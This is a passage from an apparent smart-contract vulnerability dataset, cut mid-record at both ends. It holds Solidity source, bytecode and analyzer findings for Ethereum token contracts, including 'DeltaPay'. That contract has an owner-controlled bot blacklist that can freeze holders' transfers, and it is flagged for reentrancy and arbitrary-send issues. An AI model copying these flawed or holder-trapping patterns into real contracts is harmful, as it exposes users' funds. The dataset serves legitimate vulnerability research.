ffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561108457600080fd5b505af1158015611098573d6000803e3d6000fd5b50505050600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65826040518082815260200191505060405180910390a26000600660146101000a81548160ff02191690831515021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b600260009054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611a95602a913960400191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167e676cf056e3658b3ac0bd2439a0d0b33ecfd689dd2542ece387e64466e19a0460405160405180910390a350565b60086020528060005260406000206000915090505481565b60035481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113a45780601f10611379576101008083540402835291602001916113a4565b820191906000526020600020905b81548152906001019060200180831161138757829003601f168201915b505050505081565b60006113b9338484610840565b905092915050565b600660159054906101000a900460ff166113da57600080fd5b61142c81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f690919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611484816003546118f690919063ffffffff16565b6003819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1580156115a157600080fd5b505af11580156115b5573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c826040518082815260200191505060405180910390a250565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6009602052816000526040600020602052806000526040600020600091509150505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116fb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611a69602c913960400191505060405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f0c463b156c72bbb2ba81b7ea19922f20613e9bf87f43b170fe57cd97e6c192da60405160405180910390a350565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611a3f602a913960400191505060405180910390fd5b80600660156101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fc03f33f8e333cebba750ee0837820bec6d22768bde06b06665dbb5709548cda28260405180821515815260200191505060405180910390a250565b60006118ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061197e565b905092915050565b600080828401905083811015611974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290611a2b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119f05780820151818401526020810190506119d5565b50505050905090810190601f168015611a1d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f6e6c79206d616e61676572416464722063616e206368616e6765204465706f7369742053746174652e4f6e6c79206d616e61676572416464722063616e206368616e6765206d616e6167657220416464726573732e4f6e6c7920696e76657374416464722063616e206368616e676520496e7665737420416464726573732ea26469706673582212200d14f5b37244d574c1ef33f88524c455927c559c02694d9e6cfab40569589ff364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
10,287
0x06caa666638bfdc63750cbd91589279347f8e623
/** *Submitted for verification at Etherscan.io on 2022-03-17 */ //https://t.me/deltapay //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DeltaPay is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Delta Pay"; string public constant symbol = unicode"DeltaPay"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _TaxAdd; address public uniswapV2Pair; uint public _buyFee = 7; uint public _sellFee = 7; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _TaxAdd = TaxAdd; _owned[_msgSender()] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; _isExcludedFromFee[address(0xdead)] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if (block.timestamp == _launchedAt) _isBot[to] = true; require(amount <= _maxBuyAmount); require((amount + balanceOf(address(to))) <= _maxHeldTokens); if(!cooldown[to].exists) { cooldown[to] = User(0,true); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds)); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _TaxAdd.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 10000000 * 10**9; _maxHeldTokens = 10000000 * 10**9; } function setMaxTxn(uint maxbuy, uint maxheld) external { require(_msgSender() == _TaxAdd); require(maxbuy >= 10000000 * 10**9); require(maxheld >= 10000000 * 10**9); _maxBuyAmount = maxbuy; _maxHeldTokens = maxheld; } function manualswap() external { require(_msgSender() == _TaxAdd); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _TaxAdd); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _TaxAdd); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _TaxAdd); require(buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _TaxAdd); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _TaxAdd); _TaxAdd = payable(newAddress); emit TaxAddUpdated(_TaxAdd); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _TaxAdd); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105ac578063db92dbb6146105c1578063dcb0e0ad146105d6578063dd62ed3e146105f6578063e8078d941461063c57600080fd5b8063a3f4782f14610537578063a9059cbb14610557578063b515566a14610577578063c3c8cd801461059757600080fd5b806373f54a11116100dc57806373f54a11146104a55780638da5cb5b146104c557806394b8d8f2146104e357806395d89b411461050357600080fd5b8063590f897e146104455780636fc3eaec1461045b57806370a0823114610470578063715018a61461049057600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103b657806340b9a54b146103ef57806345596e2e1461040557806349bd5a5e1461042557600080fd5b806327f3a72a14610344578063313ce5671461035957806331c2d8471461038057806332d873d8146103a057600080fd5b8063104ce66d116101c1578063104ce66d146102bb57806318160ddd146102f35780631940d0201461030e57806323b872dd1461032457600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b3146102695780630b78f9c01461029957600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025c6040518060400160405280600981526020016844656c74612050617960b81b81525081565b60405161021e91906118d5565b34801561027557600080fd5b5061028961028436600461194f565b610651565b604051901515815260200161021e565b3480156102a557600080fd5b506102b96102b436600461197b565b610667565b005b3480156102c757600080fd5b506008546102db906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b3480156102ff57600080fd5b50678ac7230489e80000610214565b34801561031a57600080fd5b50610214600e5481565b34801561033057600080fd5b5061028961033f36600461199d565b6106e9565b34801561035057600080fd5b5061021461073d565b34801561036557600080fd5b5061036e600981565b60405160ff909116815260200161021e565b34801561038c57600080fd5b506102b961039b3660046119f4565b61074d565b3480156103ac57600080fd5b50610214600f5481565b3480156103c257600080fd5b506102896103d1366004611ab9565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103fb57600080fd5b50610214600a5481565b34801561041157600080fd5b506102b9610420366004611ad6565b6107d9565b34801561043157600080fd5b506009546102db906001600160a01b031681565b34801561045157600080fd5b50610214600b5481565b34801561046757600080fd5b506102b961087a565b34801561047c57600080fd5b5061021461048b366004611ab9565b6108a7565b34801561049c57600080fd5b506102b96108c2565b3480156104b157600080fd5b506102b96104c0366004611ab9565b610936565b3480156104d157600080fd5b506000546001600160a01b03166102db565b3480156104ef57600080fd5b506010546102899062010000900460ff1681565b34801561050f57600080fd5b5061025c6040518060400160405280600881526020016744656c746150617960c01b81525081565b34801561054357600080fd5b506102b961055236600461197b565b6109a4565b34801561056357600080fd5b5061028961057236600461194f565b6109f7565b34801561058357600080fd5b506102b96105923660046119f4565b610a04565b3480156105a357600080fd5b506102b9610b1d565b3480156105b857600080fd5b506102b9610b53565b3480156105cd57600080fd5b50610214610bed565b3480156105e257600080fd5b506102b96105f1366004611afd565b610c05565b34801561060257600080fd5b50610214610611366004611b1a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064857600080fd5b506102b9610c78565b600061065e338484610fbe565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068757600080fd5b600a54821080156106995750600b5481105b6106a257600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106f68484846110e2565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610725908490611b69565b9050610732853383610fbe565b506001949350505050565b6000610748306108a7565b905090565b6008546001600160a01b0316336001600160a01b03161461076d57600080fd5b60005b81518110156107d55760006005600084848151811061079157610791611b80565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107cd81611b96565b915050610770565b5050565b6008546001600160a01b0316336001600160a01b0316146107f957600080fd5b6000811161083e5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461089a57600080fd5b476108a4816115a2565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108ec5760405162461bcd60e51b815260040161083590611baf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461095657600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161086f565b6008546001600160a01b0316336001600160a01b0316146109c457600080fd5b662386f26fc100008210156109d857600080fd5b662386f26fc100008110156109ec57600080fd5b600d91909155600e55565b600061065e3384846110e2565b6000546001600160a01b03163314610a2e5760405162461bcd60e51b815260040161083590611baf565b60005b81518110156107d55760095482516001600160a01b0390911690839083908110610a5d57610a5d611b80565b60200260200101516001600160a01b031614158015610aae575060075482516001600160a01b0390911690839083908110610a9a57610a9a611b80565b60200260200101516001600160a01b031614155b15610b0b57600160056000848481518110610acb57610acb611b80565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b1581611b96565b915050610a31565b6008546001600160a01b0316336001600160a01b031614610b3d57600080fd5b6000610b48306108a7565b90506108a4816115dc565b6000546001600160a01b03163314610b7d5760405162461bcd60e51b815260040161083590611baf565b60105460ff1615610bca5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610835565b6010805460ff1916600117905542600f55662386f26fc10000600d819055600e55565b600954600090610748906001600160a01b03166108a7565b6008546001600160a01b0316336001600160a01b031614610c2557600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161086f565b6000546001600160a01b03163314610ca25760405162461bcd60e51b815260040161083590611baf565b60105460ff1615610cef5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610835565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d2b3082678ac7230489e80000610fbe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8d9190611be4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfe9190611be4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f9190611be4565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e9f816108a7565b600080610eb46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f419190611c01565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f9a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d59190611c2f565b6001600160a01b0383166110205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610835565b6001600160a01b0382166110815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610835565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561112457506001600160a01b03821660009081526005602052604090205460ff16155b801561114057503360009081526005602052604090205460ff16155b61114957600080fd5b6001600160a01b0383166111ad5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610835565b6001600160a01b03821661120f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610835565b600081116112715760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610835565b600080546001600160a01b0385811691161480159061129e57506000546001600160a01b03848116911614155b15611543576009546001600160a01b0385811691161480156112ce57506007546001600160a01b03848116911614155b80156112f357506001600160a01b03831660009081526004602052604090205460ff16155b1561142e5760105460ff1661134a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610835565b600f544203611377576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d5482111561138657600080fd5b600e54611392846108a7565b61139c9084611c4c565b11156113a757600080fd5b6001600160a01b03831660009081526006602052604090206001015460ff1661140f576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611448575060105460ff165b801561146257506009546001600160a01b03858116911614155b156115435761147242600f611c4c565b6001600160a01b0385166000908152600660205260409020541061149557600080fd5b60006114a0306108a7565b9050801561152c5760105462010000900460ff161561152357600c54600954606491906114d5906001600160a01b03166108a7565b6114df9190611c64565b6114e99190611c83565b81111561152357600c546009546064919061150c906001600160a01b03166108a7565b6115169190611c64565b6115209190611c83565b90505b61152c816115dc565b47801561153c5761153c476115a2565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061158557506001600160a01b03841660009081526004602052604090205460ff165b1561158e575060005b61159b8585858486611750565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d5573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061162057611620611b80565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169d9190611be4565b816001815181106116b0576116b0611b80565b6001600160a01b0392831660209182029290920101526007546116d69130911684610fbe565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061170f908590600090869030904290600401611ca5565b600060405180830381600087803b15801561172957600080fd5b505af115801561173d573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061175c8383611772565b905061176a86868684611796565b505050505050565b600080831561178f57821561178a5750600a5461178f565b50600b545b9392505050565b6000806117a38484611873565b6001600160a01b03881660009081526002602052604090205491935091506117cc908590611b69565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546117fc908390611c4c565b6001600160a01b03861660009081526002602052604090205561181e816118a7565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186391815260200190565b60405180910390a3505050505050565b6000808060646118838587611c64565b61188d9190611c83565b9050600061189b8287611b69565b96919550909350505050565b306000908152600260205260409020546118c2908290611c4c565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611902578581018301518582016040015282016118e6565b81811115611914576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108a457600080fd5b803561194a8161192a565b919050565b6000806040838503121561196257600080fd5b823561196d8161192a565b946020939093013593505050565b6000806040838503121561198e57600080fd5b50508035926020909101359150565b6000806000606084860312156119b257600080fd5b83356119bd8161192a565b925060208401356119cd8161192a565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a0757600080fd5b823567ffffffffffffffff80821115611a1f57600080fd5b818501915085601f830112611a3357600080fd5b813581811115611a4557611a456119de565b8060051b604051601f19603f83011681018181108582111715611a6a57611a6a6119de565b604052918252848201925083810185019188831115611a8857600080fd5b938501935b82851015611aad57611a9e8561193f565b84529385019392850192611a8d565b98975050505050505050565b600060208284031215611acb57600080fd5b813561178f8161192a565b600060208284031215611ae857600080fd5b5035919050565b80151581146108a457600080fd5b600060208284031215611b0f57600080fd5b813561178f81611aef565b60008060408385031215611b2d57600080fd5b8235611b388161192a565b91506020830135611b488161192a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611b7b57611b7b611b53565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ba857611ba8611b53565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611bf657600080fd5b815161178f8161192a565b600080600060608486031215611c1657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611c4157600080fd5b815161178f81611aef565b60008219821115611c5f57611c5f611b53565b500190565b6000816000190483118215151615611c7e57611c7e611b53565b500290565b600082611ca057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cf55784516001600160a01b031683529383019391830191600101611cd0565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202343dc1b4d66eac8e67a587f574ce77c20d61478e87c79e3998a9bea2409587d64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,288
0x43a2926484881fb7a95dce986eb23e9057bdc8f8
/** *Submitted for verification at Etherscan.io on 2021-05-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address 